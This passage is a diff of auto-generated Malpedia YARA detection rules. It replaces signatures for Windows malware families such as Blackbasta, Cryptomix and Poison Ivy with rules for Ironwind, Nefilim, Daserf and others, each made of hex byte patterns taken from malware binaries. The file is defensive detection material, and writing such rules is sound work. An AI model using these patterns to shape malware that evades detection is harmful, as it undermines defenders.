ff7604 e8???????? } condition: - 7 of them and filesize < 257024 + 7 of them and filesize < 1523712 } -rule MALPEDIA_Win_Unidentified_121_Auto : FILE +rule MALPEDIA_Win_Ironwind_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a6510632-1b9e-5c84-ab89-5f72cc6f435a" + id = "8b99e462-a945-5218-9501-2580c05d4989" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_121" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_121_auto.yar#L1-L169" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironwind" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ironwind_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "2f8db882acb1a5c7d66a4cbcd4a58ef4e003ccebde890da1f9103b205ffea6c7" + logic_hash = "29c70d85a1620a72f758c4af21c3937f3b52ad156ab8f42df1f1abd2148e1f61" score = 75 quality = 75 tags = "FILE" @@ -143536,38 +143396,32 @@ rule MALPEDIA_Win_Unidentified_121_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b55fc 8b421c 2540040000 750c } - $sequence_1 = { 8b55fc 8b4218 8945f0 8b4d08 83792800 7405 } - $sequence_2 = { 8b55fc 8b421c 50 68???????? 8b4d08 } - $sequence_3 = { ff15???????? 4c8d4c2438 488b0d???????? 41b804000000 488d1584810100 89c3 e8???????? } - $sequence_4 = { 0f8499000000 41b806000000 ba01000000 b902000000 ffd5 488b5320 } - $sequence_5 = { 8b55fc 8b421c 2580000000 740c } - $sequence_6 = { 4889d9 48c744245800000000 48c744246000000000 e8???????? 4889d9 ff15???????? } - $sequence_7 = { 8944244c 0f85a1000000 83430801 4d89e1 4989e8 } - $sequence_8 = { 3c54 0f857e000000 e8???????? 4d85ed ba01000000 752f } - $sequence_9 = { 8b55fc 8b4218 99 8bc8 } - $sequence_10 = { 85db 0f8589000000 488b5028 4883ea01 4883fafd 777b 4885ed } - $sequence_11 = { 7511 8b7004 85f6 7539 488907 48c70300000000 } - $sequence_12 = { e8???????? 41f6c404 488b8600010000 4889ae28010000 0f84b7000000 488d5001 483dff000000 } - $sequence_13 = { 8b55fc 8b421c 2580020000 8b4df8 } - $sequence_14 = { 8b55fc 8b421c 0d80020000 8b4dfc } - $sequence_15 = { 8b55fc 8b421c 0d00080000 8b4dfc 89411c e9???????? } + $sequence_0 = { 488bd3 488bc8 ff15???????? 83f801 0f850b010000 4c3bfb 751e } + $sequence_1 = { 0f848b000000 488b4dc8 ff15???????? 488b55e8 488d0d988e0400 e8???????? 488945c8 } + $sequence_2 = { e9???????? f60603 0f95c0 88878a050000 488b4f18 } + $sequence_3 = { 7425 418bc8 488d15f9db0200 90 410fb60409 48ffc1 3a440aff } + $sequence_4 = { 83fa01 752d 488d0d109c0600 e8???????? 488bc8 ff15???????? } + $sequence_5 = { 0f84aa030000 b001 88476c 48c70700000000 41807c246c00 743d 488bce } + $sequence_6 = { 4c896b18 33ff 0fb6ac2490000000 418b87b4060000 488b4b10 448bc0 483bc8 } + $sequence_7 = { 4c8d4e38 8bca 4533c0 e8???????? 85c0 0f89c9000000 48c74638ffffffff } + $sequence_8 = { 4c896c2438 4c897c2430 e8???????? 4c8be8 4885c0 0f84e0020000 488bd0 } + $sequence_9 = { 807f5100 740e 80bc248000000000 0f846a020000 488b4f28 4885c9 743d } condition: - 7 of them and filesize < 2419712 + 7 of them and filesize < 995328 } -rule MALPEDIA_Win_Blackbasta_Auto : FILE +rule MALPEDIA_Win_Webbytea_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5bbce9ec-7d54-5002-bc1c-a1c1392e7297" + id = "af3cfaf5-47ae-5df3-b1d3-9a9fcbf06c59" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackbasta_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webbytea" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webbytea_auto.yar#L1-L110" license_url = "N/A" - logic_hash = "f2cab8177edfb4bc6b2c56a6c1db15098f849335780d0e48121fe5285763e5dd" + logic_hash = "f1288f1b53f639ade5d87a2ce49a70d5b29a0fbdd563d1f0066de9197507a949" score = 75 quality = 75 tags = "FILE" @@ -143581,32 +143435,32 @@ rule MALPEDIA_Win_Blackbasta_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7447 8d45d8 84d2 7402 8bc3 fe0430 eb33 } - $sequence_1 = { c745e4e48c0a10 8b4508 8bcf 8b7510 c745e004000000 dd00 8b450c } - $sequence_2 = { 42 895594 e9???????? 8b45ec c645fc0d 83f810 0f8293000000 } - $sequence_3 = { 52 8d5594 52 8b01 ff503c 50 8d8decfeffff } - $sequence_4 = { 83c404 807d6700 c645fc26 0f8481040000 8d45c4 33ff 50 } - $sequence_5 = { 83c404 8bce 50 e8???????? 83e3ef 895df0 c645fc0c } - $sequence_6 = { 8b4904 8b01 5d ff6048 2b49fc 83e970 e9???????? } - $sequence_7 = { 6af6 ff15???????? 8b049d58cc0c10 8b4dfc 897c0118 33c0 5f } - $sequence_8 = { e9???????? 397d34 7768 ffb564ffffff 8d4d0c e8???????? 8b4d8c } - $sequence_9 = { e8???????? 03c6 13d7 8b75e4 3bd6 7f7a 8b4dec } + $sequence_0 = { 8901 488d542430 488b4c2420 ff15???????? } + $sequence_1 = { 8901 488d542430 488b4c2420 ff15???????? 85c0 } + $sequence_2 = { ff15???????? 85c0 7422 41b904000000 } + $sequence_3 = { ff15???????? 85c0 7444 41b904000000 } + $sequence_4 = { c68424f000000043 c68424f100000072 c68424f200000065 c68424f300000061 c68424f400000074 } + $sequence_5 = { ffc0 488b8c2488020000 8901 488d542430 488b4c2420 ff15???????? 85c0 } + $sequence_6 = { 4803c8 488bc1 48c744243000000000 c744242800000000 } + $sequence_7 = { c68424f100000072 c68424f200000065 c68424f300000061 c68424f400000074 c68424f500000065 } + $sequence_8 = { 8b00 ffc0 488b8c2488020000 8901 } + $sequence_9 = { c68424f100000072 c68424f200000065 c68424f300000061 c68424f400000074 } condition: - 7 of them and filesize < 1758208 + 7 of them and filesize < 552960 } -rule MALPEDIA_Win_Cryptomix_Auto : FILE +rule MALPEDIA_Win_Nefilim_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "66a42334-0f35-544f-b73c-0df7b8e22035" + id = "f770afff-845f-5499-a82e-ad8c0e6c9614" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptomix" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptomix_auto.yar#L1-L177" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nefilim" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nefilim_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "02f656068f4f76c12e869f1af5a2e63ec8e44cb4db7dffbbf055e2899960d03b" + logic_hash = "84fb3ca9c75650a6b701073468d1bedd054df919eaf8258d3aea8d2bb0356db2" score = 75 quality = 75 tags = "FILE" @@ -143620,38 +143474,32 @@ rule MALPEDIA_Win_Cryptomix_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? ffd0 683e8d61be 6a06 } - $sequence_1 = { ffb580efffff ff15???????? 56 68???????? ff15???????? 68???????? 68???????? } - $sequence_2 = { 85c0 0f87e0000000 68???????? 56 e8???????? 59 59 } - $sequence_3 = { 8be5 5d c3 3dc0ede0b7 } - $sequence_4 = { ffb5e0fbffff ff15???????? ff85e8fbffff 8d85e4fbffff 50 68???????? } - $sequence_5 = { 59 ff742408 ff742408 ffd0 c3 68c142487b 6a01 } - $sequence_6 = { 8b30 57 8b7dfc 68dee70218 6a05 e8???????? } - $sequence_7 = { 68???????? 8d85e8fbffff 50 ffd7 8d85c4f9ffff 50 8d85e8fbffff } - $sequence_8 = { 8bf9 e8???????? 83c40c 8d85e0fbffff 50 8d85f4fdffff 50 } - $sequence_9 = { c785e4fbffff04010000 ff15???????? 8d85e4fbffff 50 56 } - $sequence_10 = { 7571 b801000000 8b4dfc 33cd e8???????? 8be5 } - $sequence_11 = { 55 8bec 83ec10 57 33ff 6822ded78a } - $sequence_12 = { 6802f1f808 6a01 e8???????? 83c430 56 6880000000 } - $sequence_13 = { 33c0 8d95f4fdffff 6685c9 0f8465010000 0fb7c9 c1c007 } - $sequence_14 = { ff75f4 6a40 e8???????? 8bd8 } - $sequence_15 = { 59 8d4dfc 51 683f020f00 56 bb???????? 53 } + $sequence_0 = { 6a00 ff15???????? 50 ff15???????? 57 8bf0 } + $sequence_1 = { 7304 8d442414 68???????? 50 ffd6 85c0 0f84dc000000 } + $sequence_2 = { 50 ffd6 85c0 0f849b040000 68???????? 8d8424d0000000 } + $sequence_3 = { 0f8f5d010000 8b4c2418 394c2428 0f822dffffff e9???????? } + $sequence_4 = { 3b5d0c 72b3 5e 8b8538ffffff 6a10 2bf8 } + $sequence_5 = { 33c0 50 50 ff74241c ffd7 53 8d442434 } + $sequence_6 = { 8bf0 ffd3 50 57 e8???????? } + $sequence_7 = { 68???????? 50 ffd6 85c0 0f84a0000000 8b442414 397c2428 } + $sequence_8 = { 8b4de0 a3???????? 7303 8d4de0 } + $sequence_9 = { c9 c3 55 8bec 83e4f8 81ecec020000 a1???????? } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 142336 } -rule MALPEDIA_Win_Kerrdown_Auto : FILE +rule MALPEDIA_Win_Ketrum_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "da236d92-1fe9-5457-946f-9d7f9613f9af" + id = "1ff13c8d-0527-5a40-b6b9-bb4141259de3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kerrdown" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kerrdown_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrum" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ketrum_auto.yar#L1-L171" license_url = "N/A" - logic_hash = "2d8b506b753eb11d1ef360ccc2cec767f65cb094a11e4e8ce42bcebdfc177559" + logic_hash = "2f5239fe4e1f5d031309de047f066345a22c976ad71c9c05f830bcb3f0899bfb" score = 75 quality = 75 tags = "FILE" @@ -143665,32 +143513,38 @@ rule MALPEDIA_Win_Kerrdown_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85f6 743f 83ff10 b8???????? 0f43c1 85f6 } - $sequence_1 = { 8d45f8 50 68004a0000 68???????? } - $sequence_2 = { 741b 56 68???????? 50 e8???????? } - $sequence_3 = { 75b2 83ff10 8935???????? b8???????? 0f43c1 5e } - $sequence_4 = { 5f 85c0 7543 50 6880000000 } - $sequence_5 = { 8bd3 2bd6 8a0e 8d7601 } - $sequence_6 = { 8935???????? b8???????? 0f43c1 5e } - $sequence_7 = { 884de5 02c2 33f6 8845e6 0fb64435e4 50 } - $sequence_8 = { b8???????? 0f43c1 03c2 3d???????? 762a ff750c 83ff10 } - $sequence_9 = { 80e203 c0e004 02d1 8855e4 8a55ea 8aca } + $sequence_0 = { 8a08 40 3acb 75f9 52 ff74241c 2bc7 } + $sequence_1 = { 6a00 50 e8???????? 8d85fcefffff 83c418 } + $sequence_2 = { 8bf7 83e61f c1e606 033485a0bc6200 c745e401000000 } + $sequence_3 = { 68???????? 50 ffd7 83c43c 53 53 } + $sequence_4 = { 85c0 7549 ff15???????? 8bf0 56 68???????? } + $sequence_5 = { ba???????? 898df0d3ffff 3bc7 7321 8995f0d3ffff } + $sequence_6 = { 894dd4 8945d8 eb06 215dd4 215dd8 } + $sequence_7 = { 58 b9???????? e8???????? 59 57 68???????? e8???????? } + $sequence_8 = { 68???????? 50 ff15???????? ffb534fdffff 8d8de0fdffff ffb52cfdffff e8???????? } + $sequence_9 = { 68???????? 8d4da8 e8???????? 59 84c0 } + $sequence_10 = { e8???????? 8b450c 8b5d08 33c9 } + $sequence_11 = { ff15???????? 898350010000 80bd33efffff00 0f84e3f2ffff } + $sequence_12 = { 7503 6a09 59 66890e eb03 668916 830002 } + $sequence_13 = { 898d34efffff 6a00 ffb534efffff 83c8ff } + $sequence_14 = { 50 8db578fdffff e8???????? 8bc6 50 8d85a0fbffff 50 } + $sequence_15 = { 8d458c 50 c645fc03 e8???????? 59 } condition: - 7 of them and filesize < 278528 + 7 of them and filesize < 4599808 } -rule MALPEDIA_Win_Radrat_Auto : FILE +rule MALPEDIA_Win_Unidentified_044_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8cc3544a-ed32-5550-b925-dec2c9f06198" + id = "34c20231-5d6b-58d1-a551-535378ccd58f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.radrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.radrat_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_044" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_044_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "fb8c6f115f4d653cbab2ab642c199fa84b318ba0571f54841296153652a76219" + logic_hash = "73cc874ec97680c4006726eab010d16567bb76aa0c2f93b41df5ce3208d81ea0" score = 75 quality = 75 tags = "FILE" @@ -143704,34 +143558,34 @@ rule MALPEDIA_Win_Radrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c645fc06 8d9578ffffff 52 83ec28 8bc4 89a520ffffff 8d4dcc } - $sequence_1 = { 8b55d8 894a54 837df010 7404 0cff eb7b 8b45d8 } - $sequence_2 = { 8d8db4c3ffff e8???????? e9???????? 83bd54ffffff46 0f8570110000 6a01 8d953cc3ffff } - $sequence_3 = { e8???????? c3 8d8d8ccdffff e8???????? c3 8d8dac95ffff e8???????? } - $sequence_4 = { e8???????? c3 8d4d80 e8???????? c3 8d8d18fdffff e8???????? } - $sequence_5 = { e8???????? c745c000000000 eb09 8b45c0 83c001 8945c0 8b4dc0 } - $sequence_6 = { c745fc00000000 8b45c0 50 8b4dc8 e8???????? c745fcffffffff 8d4dcc } - $sequence_7 = { c68522ffffff00 c68524ffffff00 c645fc07 8b550c 52 8d8decfeffff e8???????? } - $sequence_8 = { e8???????? 83c410 8845fc 8b4dfc 81e1ff000000 85c9 7411 } - $sequence_9 = { e8???????? c645fc08 8b8d6cfbffff 83c108 e8???????? c645fc04 8d8ddefdffff } + $sequence_0 = { ffd6 a1???????? 85c0 75e2 5e c3 a1???????? } + $sequence_1 = { 660bfb 66897c0102 8b4c2410 49 894c2410 85c9 } + $sequence_2 = { 8d8570feffff 50 6802020000 891d???????? } + $sequence_3 = { 83f801 0f85fd000000 8b542418 8d4c2424 } + $sequence_4 = { 803d????????00 5f 740d 8b0d???????? 51 } + $sequence_5 = { 8b442414 52 50 55 83c8ff } + $sequence_6 = { a3???????? 7e0d 6a00 68???????? ff15???????? } + $sequence_7 = { 50 ffd7 85c0 7544 8b2d???????? 8b1d???????? 90 } + $sequence_8 = { 66c1c208 50 6689542426 ff15???????? 8bf8 83ffff } + $sequence_9 = { 55 e8???????? 83c40c 84c0 74a0 8a442413 } condition: - 7 of them and filesize < 2080768 + 7 of them and filesize < 90112 } -rule MALPEDIA_Win_Soraya_Auto : FILE +rule MALPEDIA_Win_Byeby_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a07d2ec9-21c3-51d7-8a6a-aaea120dc635" + id = "0ebfb487-5cbf-53be-adad-b7561bd94d85" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soraya" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.soraya_auto.yar#L1-L232" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.byeby_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "67d5293b43a7462b9bb676c8134e4e8a6a8c166af85a6bac43befacfaf313c24" + logic_hash = "14e04fc099db6b56de85356d95024648b8f691b46ad7013820136f566a988b61" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -143743,45 +143597,32 @@ rule MALPEDIA_Win_Soraya_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 8d48bf 80f919 77f2 } - $sequence_1 = { 488d4dd0 488bd0 488bd8 ff15???????? 458bc7 33d2 } - $sequence_2 = { 833800 7411 c1d30b 8b18 0fbdc1 8b45e4 } - $sequence_3 = { 2bfa 037d0c 3bc7 72cd 8b4510 33c1 } - $sequence_4 = { ba02c10d00 33c8 2bfa 2bca 0faff9 eb46 } - $sequence_5 = { ffd0 85c0 7536 8b75ec 83feff 742e } - $sequence_6 = { 488bce ff15???????? 488bcd ff15???????? 498bce ff15???????? } - $sequence_7 = { 488bcf ff15???????? 83f801 753b } - $sequence_8 = { 6a04 6800300000 6a0a 56 ff15???????? 8b3d???????? } - $sequence_9 = { 52 8d45d8 50 8b45f8 33c6 } - $sequence_10 = { a1???????? 69c941370000 8bfa 33d2 f7f3 33d2 } - $sequence_11 = { ffd7 68???????? 8d85f8fdffff 50 ffd6 e8???????? 50 } - $sequence_12 = { 4885c0 0f84b8000000 488364242000 4c8d442430 41b930000000 } - $sequence_13 = { 7511 488bc5 81e1ff0f0000 482b4630 4a010411 8b4a04 } - $sequence_14 = { e8???????? 68???????? ff15???????? 8b3d???????? 8bd8 68???????? 53 } - $sequence_15 = { 488d4550 4c8d442450 4183c9ff 33d2 33c9 } - $sequence_16 = { 8d41f2 66898552ffffff 83c016 66898554ffffff } - $sequence_17 = { 72c8 4c891d???????? 488d0d1fe0ffff ff15???????? 488bc8 e8???????? 488d0dfadfffff } - $sequence_18 = { 8b45fc 8b7508 33c3 2bc7 } - $sequence_19 = { 3bf0 72e4 eb03 8b55fc } - $sequence_20 = { 8b45ec 41 3bc8 72e8 8b7df4 8b45f0 } - $sequence_21 = { 8b4dcc 8365f400 894dfc 0fb74b06 2bc7 49 } - $sequence_22 = { 6a0c 58 e8???????? 59 85c0 0f849e000000 2b75fc } + $sequence_0 = { c78424a002000059335630 c68424a402000000 50 8d8424380a0000 50 ff15???????? } + $sequence_1 = { c68424d402000000 c784242c0300005130394e c78424300300005455464f c684243403000000 c78424e402000056464a42 c78424e8020000546c4e47 c68424ec02000000 } + $sequence_2 = { 8d85c0f9ffff 66c745e80d0a 6804050000 50 f30f7f45d4 c645ea00 } + $sequence_3 = { 50 8b8528e5ffff 0f94c1 898d3ce5ffff 8b8d24e5ffff 8b048518ab0110 ff3401 } + $sequence_4 = { 85c0 7411 ff35???????? 8bc8 } + $sequence_5 = { 8bf0 83feff 0f8489000000 6a00 56 ff15???????? 3d00900100 } + $sequence_6 = { 894c2428 ff15???????? 85c0 7430 8b7c2414 8d4900 83f8ff } + $sequence_7 = { 64890d00000000 59 5f 5e 8b8c243c100000 33cc } + $sequence_8 = { 0fbec2 0fb680d0450110 83e00f eb02 33c0 8bbdc8fdffff 6bc009 } + $sequence_9 = { 740b 8d44246c 50 ff15???????? 8b442430 85c0 7409 } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_Veiledsignal_Auto : FILE +rule MALPEDIA_Win_Pss_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "71866fc5-9473-559b-a801-c95ebfec50c7" + id = "8f53afdc-5ec6-5728-abfd-d91f1e9f3440" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.veiledsignal" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.veiledsignal_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pss" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pss_auto.yar#L1-L139" license_url = "N/A" - logic_hash = "71af0216ed8c73a7deae45ea9d8e0b2ebb718fbb1957e80a9a771dea9a9d10a4" + logic_hash = "1278c29ce9286804a6a68366ec725de6162c277ad4b04021e24c075a2ce1e54a" score = 75 quality = 75 tags = "FILE" @@ -143795,32 +143636,35 @@ rule MALPEDIA_Win_Veiledsignal_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c5f92f25???????? 0f82b1000000 48c1e82c c5e9eb15???????? c5f1eb0d???????? 4c8d0d66850000 } - $sequence_1 = { e9???????? e8???????? e9???????? 488d0514380400 } - $sequence_2 = { 0fb6552f 4c8d4d2f 4533c0 418d4814 ffd0 } - $sequence_3 = { 488d0db99a0400 e8???????? 488d0dc59a0400 e8???????? } - $sequence_4 = { 7ec4 83c8ff eb0b 4803f6 418b84f7a8140100 85c0 } - $sequence_5 = { e8???????? 4881c458010000 c3 8d8146b8ffff 83f801 } - $sequence_6 = { e8???????? 488b8890000000 48399938010000 7516 488d05c7390400 4a8b04e8 } - $sequence_7 = { ff15???????? e9???????? 8b7c2428 488bcb ff15???????? 85ff 0f844bffffff } - $sequence_8 = { 83f8ff 7425 488d1586b10400 8bc8 e8???????? 85c0 740e } - $sequence_9 = { 428844f13e 4b8b84e010e70400 42804cf03d04 38558f e9???????? ff15???????? 894597 } + $sequence_0 = { 8d48fe e8???????? e9???????? 83f811 } + $sequence_1 = { 7437 ff15???????? 3de5030000 752a } + $sequence_2 = { ff15???????? 83ceff 3bc6 7504 } + $sequence_3 = { 8d4dbc c745fc02000000 e8???????? 8d8550ffffff 50 8d45bc } + $sequence_4 = { 6a00 ff15???????? 50 ff15???????? b001 eb24 e8???????? } + $sequence_5 = { 8d7f08 8b048d387a0010 ffe0 f7c703000000 } + $sequence_6 = { 83feff 0f8413020000 33c0 8d7c2424 ab ab ab } + $sequence_7 = { 51 ff75dc ff15???????? 85c0 751c } + $sequence_8 = { 8bf0 488bcd ff15???????? 85f6 740f 4439b42488000000 } + $sequence_9 = { 90 4c89642420 4c89642428 e8???????? } + $sequence_10 = { 48895d90 4c896588 4488642478 448d430c } + $sequence_11 = { 750d 48890a 488b4908 44384119 74ea } + $sequence_12 = { a801 7524 83c801 8905???????? 488d05c93d0000 488905???????? } condition: - 7 of them and filesize < 667648 + 7 of them and filesize < 421888 } -rule MALPEDIA_Win_Poison_Ivy_Auto : FILE +rule MALPEDIA_Win_Daserf_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0917932a-f079-5bf1-931c-716d03c726be" + id = "9664e62d-eafe-56ce-b464-13f7ca132897" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poison_ivy_auto.yar#L1-L94" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.daserf_auto.yar#L1-L169" license_url = "N/A" - logic_hash = "3536834c24827a74ee9df7192a4db2e3644f1cf45a57755c4feba403f8b5bbbf" + logic_hash = "bc55f86dc602900cf521d018b673d7e5221e817a978c5aeccfcf33a4e89ac9bd" score = 75 quality = 75 tags = "FILE" @@ -143834,29 +143678,38 @@ rule MALPEDIA_Win_Poison_Ivy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a01 6a00 8d86120e0000 50 } - $sequence_1 = { 683f000f00 6a00 57 51 ff5635 68ff000000 } - $sequence_2 = { 51 57 ff9681000000 8d45fc 50 683f000f00 6a00 } - $sequence_3 = { 80beaf08000001 7507 b902000080 eb05 b901000080 8d45fc 50 } - $sequence_4 = { 8d86120e0000 50 ff75fc ff563d } - $sequence_5 = { 51 ff5635 68ff000000 8d86b1060000 50 6a01 6a00 } - $sequence_6 = { 57 ff9681000000 80beaf08000001 7507 } + $sequence_0 = { 8d1b 0f8e0d010000 87db 8d8568bfffff 8d1b } + $sequence_1 = { 56 ff15???????? ff75f8 8b35???????? ffd6 } + $sequence_2 = { 9b 68???????? 8bd2 50 f7d0 f7d0 } + $sequence_3 = { 6800280000 8d09 8d8568bfffff f7d1 f7d1 53 90 } + $sequence_4 = { ff15???????? c705????????01000000 50 53 2d907cb3df } + $sequence_5 = { 81ebfff91e8d 81c3fb8dd0b7 2d4e5b5869 2db747503f 05dc183929 81eb25261cb5 } + $sequence_6 = { 05e81801ee 95 89ac2400f1ffff 8be8 8b842400f1ffff 81c38b11c7c3 } + $sequence_7 = { 2d14be6b51 81c37f189ce5 05a5174ceb 81eb5a34b440 } + $sequence_8 = { b8???????? e9???????? 6a0b e9???????? 50 } + $sequence_9 = { 81c38ae02de5 81ebb92f9b23 81eb42c7a1f2 81eb74c57063 2d0f027a7d 2db2e0f8da } + $sequence_10 = { f7d6 f7d6 81eb8054748e f7d6 f7d6 81c3cb6fc0a8 } + $sequence_11 = { 050a037e0a 81ebd4a1a6fb 81c34646dc3b 81c351fc1576 81c3eeb6e6f5 2d8cb08456 } + $sequence_12 = { 0589639a4f 81ebc4cfca9c 05e0940a91 81c3df202492 81c304600bef 81eba197b1b7 } + $sequence_13 = { 2def0da659 87f6 81eb1c07b732 8bc0 } + $sequence_14 = { 81c3787cc718 2ddbcfa691 81c3b7415b90 81c3838339ae 2d5988c64e } + $sequence_15 = { 81c38cf537b9 9b 81c339ec068e 7500 053941cb1e } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 245760 } -rule MALPEDIA_Win_Qhost_Auto : FILE +rule MALPEDIA_Win_Kugelblitz_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f6a3ef66-17d7-58a0-96de-8a0c0984b5c6" + id = "db17bbb0-50e5-5fe6-929a-1431a26aafbe" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qhost" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.qhost_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kugelblitz" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kugelblitz_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "905b65375bd0a4c7552598ebcf914fdc02a2fd215e8f336ecf0dd12d8b466ba7" + logic_hash = "4575fda7b8a74c948e62c70a1906fcade3b297881f83d4f61f7fa59414771962" score = 75 quality = 75 tags = "FILE" @@ -143870,32 +143723,32 @@ rule MALPEDIA_Win_Qhost_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b8???????? eb0c 8b4dfc 51 ff15???????? } - $sequence_1 = { 6a04 8d55f0 52 6a07 8b4508 50 } - $sequence_2 = { 50 68???????? 68???????? 680f270000 68???????? } - $sequence_3 = { 7430 6a00 6a02 8d55f8 52 6a23 ff55fc } - $sequence_4 = { 894da0 8b55a0 3b55a4 0f8d56040000 8d459c } - $sequence_5 = { 6880000000 6a00 8d8d74feffff 51 e8???????? 83c40c 8b9570feffff } - $sequence_6 = { e8???????? 83c404 e9???????? 83bd68ffffff06 7536 83bd6cffffff00 752d } - $sequence_7 = { 52 8b45fc 50 ff15???????? eb4a } - $sequence_8 = { 8b8ddcfdffff 51 ff15???????? 83c404 8b95ecfdffff 52 e8???????? } - $sequence_9 = { 50 6800040000 8d8d00fcffff 51 8b95c8fbffff 52 } + $sequence_0 = { 448bc0 83f8ff 0f8405010000 0f1f440000 488b4de8 } + $sequence_1 = { c3 488d0511430000 c3 488d0501430000 c3 } + $sequence_2 = { 4053 4883ec20 488bd9 488d0580230000 488901 } + $sequence_3 = { 4883c227 488b49f8 482bc1 4883c0f8 4883f81f 7669 } + $sequence_4 = { 483bd3 0f8727010000 48896c2430 4883ca07 488b6918 } + $sequence_5 = { 488d542448 488d4c2470 480f47542448 e8???????? 488b442470 } + $sequence_6 = { 488d0da2410000 e8???????? 85c0 742e 32c0 eb33 } + $sequence_7 = { 33db eb49 4881f900100000 7238 } + $sequence_8 = { 4a8d1409 e8???????? 48895de8 488b8f80000000 ff15???????? } + 